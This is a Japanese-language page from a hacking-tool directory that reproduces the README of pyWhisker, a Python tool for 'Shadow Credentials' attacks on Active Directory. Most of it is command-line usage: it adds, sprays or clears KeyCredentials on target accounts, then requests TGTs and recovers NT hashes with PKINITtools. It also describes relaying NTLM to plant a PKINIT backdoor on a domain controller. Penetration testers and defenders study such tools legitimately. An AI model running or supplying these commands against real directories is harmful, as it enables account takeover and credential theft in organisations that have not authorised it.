Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pywhisker — C# ツールの Python 版:'Shadow Credentials' 攻撃用 | Kitploit
ツール/GitHubGitHub/shutdownrepo/pywhisker
特権昇格エクスプロイトペネトレーションテスト認証
GitHubshutdownrepo/pywhisker

pywhisker

C# ツールの Python 版:'Shadow Credentials' 攻撃用

リポジトリを見る
9221072ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pyWhisker

pyWhiskerは、Elad Shamir によって作成され、C# で記述された元の Whisker の Python 版です。このツールを使用すると、対象ユーザー/コンピューターの msDS-KeyCredentialLink 属性を操作し、そのオブジェクトを完全に制御できます。 これは Impacket と、Michael Grafnetter 氏の DSInternals の Python 版である podalirius 氏作成の PyDSInternals に基づいています。 このツールは、Dirk-jan 氏の PKINITtools と組み合わせることで、UNIX ベースのシステムのみで完全なプリミティブ悪用を可能にします。

この攻撃の前提条件は以下の通りです。

  1. 対象のドメイン機能レベルが Windows Server 2016 以上であること。
  2. 対象ドメインに、Windows Server 2016 以上を実行しているドメインコントローラーが少なくとも 1 台存在すること。
  3. 攻撃中に使用するドメインコントローラーが、独自の証明書とキーを持っていること (つまり、組織に AD CS、PKI、CA、または類似のものが必要です)。
  4. 攻撃者が、対象ユーザーまたはコンピューターアカウントの msDs-KeyCredentialLink 属性を書き込めるアカウントを制御していること。

なぜこれらの前提条件が必要か?

  • 前提条件 1 と 2 は、PKINIT 機能が Windows Server 2016 で導入されたためです。
  • 前提条件 3 は、AS_REQ <-> AS_REP トランザクション中のセッションキー交換のために、DC が独自の証明書とキーを必要とするためです。

前提条件 3 を満たさない場合、KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP が発生します。

この「シャドウ資格情報」プリミティブの詳細については、以下を参照してください。

  • Shadow Credentials: Abusing Key Trust Account Mapping for Takeover
  • The Hacker Recipes - ACEs and DACL abuse
  • The Hacker Recipes - Shadow Credentials

使用方法

pyWhisker は、対象の msDs-KeyCredentialLink 属性に対してさまざまな操作を実行できます。

  • list: 現在のすべての KeyCredential ID と作成時刻を一覧表示します。
  • add: msDs-KeyCredentialLink に新しい KeyCredential を追加します。
  • spray: msDs-KeyCredentialLink に新しい KeyCredential をスプレー (一括追加) します。
  • remove: msDs-KeyCredentialLink から KeyCredential を削除します。
  • clear: msDs-KeyCredentialLink からすべての KeyCredential を削除します。
  • info: KeyCredential 構造体に含まれるすべての情報を出力します。
  • export: msDs-KeyCredentialLink からすべての KeyCredential を JSON としてエクスポートします。
  • import: JSON ファイルからの KeyCredential で msDs-KeyCredentialLink を上書きします。

pyWhisker は以下の認証方式をサポートしています。

  • (NTLM) 平文パスワード
  • (NTLM) パスザハッシュ
  • (Kerberos) 平文パスワード
  • (Kerberos) パスザキー / オーバーパスザハッシュ
  • (Kerberos) パスザキャッシュ (パスザチケット の一種)
  • (Schannel 経由 LDAP) パスザ証明書

その他、pyWhisker はマルチレベルの冗長性をサポートしており、コマンドに -v、-vv などを追加するだけです :)

pyWhisker はクロスドメインも可能です。-td/--target-domain 引数を参照してください。

root@kitploit:~
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
                 [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
                 [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]

Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.

optional arguments:
  -h, --help            このヘルプメッセージを表示して終了します。
  -t TARGET_SAMNAME, --target TARGET_SAMNAME
                        対象アカウント
  -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
                        対象アカウント名のファイルパス (1行に1アカウント)
  -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
                        msDS-KeyCredentialLink に対して実行するアクション
  --use-ldaps           LDAP の代わりに LDAPS を使用します。
  --use-schannel        証明書ベースの認証に LDAP Schannel (TLS) を使用します。
  -v, --verbose         冗長レベル (-v で verbose、-vv で debug)
  -q, --quiet           情報を一切表示しません。

認証と接続:
  --dc-ip ip address    ドメインコントローラーまたは KDC (Key Distribution Center) の IP アドレス (Kerberos 用)。省略した場合、ID パラメータで指定されたドメイン部分 (FQDN) を使用します。
  -d DOMAIN, --domain DOMAIN
                        認証先ドメイン (FQDN)
  -u USER, --user USER  認証に使用するユーザー
  -crt, --certfile CERTFILE
                        Schannel 認証用のユーザー証明書 (PEM 形式) へのパス
  -key, --keyfile KEYFILE
                        Schannel 認証用のユーザー秘密鍵 (PEM 形式) へのパス
  -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
                        対象ドメイン (認証ユーザーのドメインと異なる場合)

  --no-pass             パスワードを要求しません (-k と組み合わせて使用)。
  -p PASSWORD, --password PASSWORD
                        認証に使用するパスワード
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM ハッシュ。形式は LMhash:NThash
  --aes-key hex key     Kerberos 認証に使用する AES キー (128 または 256 ビット)
  -k, --kerberos        Kerberos 認証を使用します。.ccache ファイル (KRB5CCNAME) から対象パラメータに基づいて資格情報を取得します。有効な資格情報が見つからない場合は、コマンドラインで指定された資格情報を使用します。

-action を add に設定した場合の引数:
  -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
                        PFX に保存された自己署名証明書のパスワード (設定しない場合はランダムになります。PEM にエクスポートする場合は不要)。
  -f FILENAME, --filename FILENAME
                        生成された自己署名 PEM または PFX 証明書とキーを保存するファイル名、または "import"/"export" アクション用のファイル名
  -e {PEM,PFX}, --export {PEM,PFX}
                        証明書+秘密鍵を PEM または PFX (すなわち PKCS12) でエクスポートするか選択します (デフォルト: PFX)

-action を remove に設定した場合の引数:
  -D DEVICE_ID, --device-id DEVICE_ID
                        -action を remove に設定した場合に削除する KeyCredentialLink のデバイス ID

以下は、pyWhisker で可能なことの例とスクリーンショットです。

一覧表示と情報取得

pyWhisker は既存の KeyCredential を一覧表示できます。さらに、構造全体を展開して、そのオブジェクトに含まれるすべての情報 (RSA 公開鍵パラメータを含む) を表示できます。

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

クリアと削除

pyWhisker は特定の値を削除したり、属性全体をクリアしたりできます。

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

新しい値の追加

pyWhisker は RSA キー、X509 証明書、KeyCredential 構造体を生成し、必要な情報を msDs-KeyCredentialLink 属性の新しい値として書き込むことができます。証明書は PFX 形式 (PKCS12、証明書 + 秘密鍵、パスワード保護) または PEM 形式 (PEM 証明書、PEM 秘密鍵、パスワード不要) でエクスポートできます。

PFX 形式の例

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

pyWhisker によって値が生成され追加されると、gettgtpkinit.py で TGT を要求できます。その後、getnthash.py で NT ハッシュを復元できます。

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

PEM 形式の例

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

pyWhisker によって値が生成され追加されると、gettgtpkinit.py で TGT を要求できます。その後、getnthash.py で NT ハッシュを復元できます。

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

新しい値のスプレー

pyWhisker は複数の KeyCredential 追加を連鎖させ、対象セットに対して (使用する資格情報に適切な権限がある場合) スプレーすることができます。

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"

インポートとエクスポート

msDs-KeyCredentialLink 属性に保存された KeyCredential は、解析、構造化され、JSON として保存できます。

JSON エクスポートは、エクスポート時の状態に msDs-KeyCredentialLink 属性を復元するために使用できます。

リレー認証

Pull Request が ntlmrelayx にマージされ、pyWhisker の「追加」機能が組み込まれました。

有用な知識

ユーザーオブジェクトは自身の msDS-KeyCredentialLink 属性を編集できません。ただし、コンピューターオブジェクトは編集できます。つまり、以下のシナリオが可能です。DC01 から NTLM 認証をトリガーし、それを DC02 にリレーし、pyWhisker に DC01 の属性を編集させ、その上に Kerberos PKINIT 事前認証バックドアを作成します。

コンピューターオブジェクトは自身の msDS-KeyCredentialLink 属性を編集できますが、既存の KeyCredential がない場合にのみ KeyCredential を追加できます。

エラーが発生した場合、攻撃ホストとキー配布センター (通常はドメインコントローラー) の間に時刻のずれがないことを確認してください。このエラーを回避するため、pyWhisker ツールで生成される証明書は、現在日付の 40 年前から 40 年後まで有効です。

謝辞と参考資料

  • Dirk-jan 氏の PKINITtools への貢献に感謝します。当初は Impacket スクリプト (特に gettgt.py) をリファクタリングして、Kerberos 用の非対称 PKINIT 事前認証を実装する予定でした。彼が先に作成してくれたおかげで、多大な頭痛の種から救われました。

  • Impacket チーム全体とその貢献者に感謝します。

  • 元の C# ツール (Whisker) を作成した Elad Shamir 氏と、Whisker の主要な処理を行うライブラリ DSInternals を作成した Michael Grafnetter's 氏に感謝します。彼はまた、攻撃プリミティブを紹介した元の Black Hat デモを行った人物でもあります。

ツールをダウンロード